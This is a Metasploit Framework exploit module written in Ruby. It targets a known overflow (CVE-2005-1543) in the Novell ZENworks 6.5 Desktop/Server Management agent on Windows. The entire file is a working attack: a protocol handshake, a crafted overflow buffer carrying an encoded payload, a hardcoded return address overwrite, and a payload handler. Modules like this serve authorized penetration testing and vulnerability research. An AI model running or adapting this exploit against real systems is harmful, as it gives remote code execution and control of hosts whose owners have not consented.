##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
      'Description'    => %q{
        This module exploits a heap overflow in the Novell ZENworks
        Desktop Management agent. This vulnerability was discovered
        by Alex Wheeler.
          
      },
      'Author'         => [ 'anonymous' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2005-1543'],
          [ 'OSVDB', '16698'],
          [ 'BID', '13678'],

        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 32767,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Targets'        => 
        [
          [
            'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
            {
              'Platform' => 'win',
              'Ret'      => 0x10002e06,
            },
          ],
        ],
      'DisclosureDate' => 'May 19 2005',
      'DefaultTarget' => 0))
  end

  def exploit
    connect
    
    hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
    print_status("Sending version identification")
    sock.put(hello)
    
    pad   = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
    ident = sock.get_once
    if !(ident and ident.length == 16)
      print_status("Failed to receive agent version identification")
      return
    end
    
    print_status("Received agent version identification")
    print_status("Sending client acknowledgement")
    sock.put("\x00\x01")
    
    # Stack overflow in ZenRem32.exe / ZENworks Server Management
    sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
    
    ack = sock.get_once
    sock.put("\x00\x01")
    sock.put("\x00\x02")
    
    print_status("Sending final payload")
    sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
    
    print_status("Overflow request sent, sleeping for four seconds")
    sleep(4)
    
    handler
    disconnect
  end
  
end